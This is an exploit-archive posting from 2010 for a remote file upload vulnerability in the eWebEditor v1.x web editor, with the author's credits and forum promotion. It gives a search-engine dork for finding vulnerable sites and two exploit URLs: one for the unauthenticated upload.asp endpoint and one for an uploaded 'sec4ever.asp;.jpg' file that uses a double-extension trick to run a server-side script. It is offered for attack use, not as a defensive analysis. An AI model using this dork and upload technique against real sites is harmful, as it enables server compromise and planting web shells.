eWebEditor v1.x (WYSIWYG) Remote File Upload Vulnerability
Posted on 22 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>eWebEditor v1.x (WYSIWYG) Remote File Upload Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================== eWebEditor v1.x (WYSIWYG) Remote File Upload Vulnerability ========================================================== # Author..................: [Ma3sTr0-Dz] # Location ...............: [Algeria] # Software ...............: [eWebEditor v1.x (WYSIWYG) Remote File Upload .] # Impact..................: [Remote] # Site Software ..........:[http://www.ewebeditor.net/] # Sptnx ..................: [CmOs_CLR & Sec4ever Memberz.] # Home : .................: [Www.Sec4ever.Com/home/ For Latest 2010 Localz & priv8 Exploits !] # Contact me : ...........: [o5m@hotmail.de] # Vulnerability: Remote File Upload . # Part ExplOit & Bug Codes : ------ Dork : ------ allinurl:ewebeditor/asp/ Exploit : --------- http://site.com/[path]/asp/upload.asp?type=file&style=coolblue&language=zh-cn http://site.com/uploads/asp/sec4ever.asp;.jpg ----------------------- Don't Forget : Www.Sec4ever.com/home /// Ur Secure Mind / # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-22]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
